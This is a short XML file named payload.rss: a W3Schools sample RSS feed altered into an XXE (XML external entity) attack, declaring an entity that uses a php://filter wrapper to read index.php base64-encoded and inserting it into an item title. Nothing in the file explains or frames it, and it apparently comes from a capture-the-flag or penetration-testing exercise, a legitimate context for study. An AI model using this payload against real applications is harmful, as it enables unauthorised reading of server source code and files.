payload.rss

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE replace[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >
]>

<rss version="2.0">

<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>&xxe;</title>
   <link>https://www.w3schools.com/xml/xml_rss.asp</link>
   <description>New RSS tutorial on W3Schools</description>
 </item>
 <item>
   <title>XML Tutorial</title>
   <link>https://www.w3schools.com/xml</link>
   <description>New XML tutorial on W3Schools</description>
 </item>
</channel>

</rss>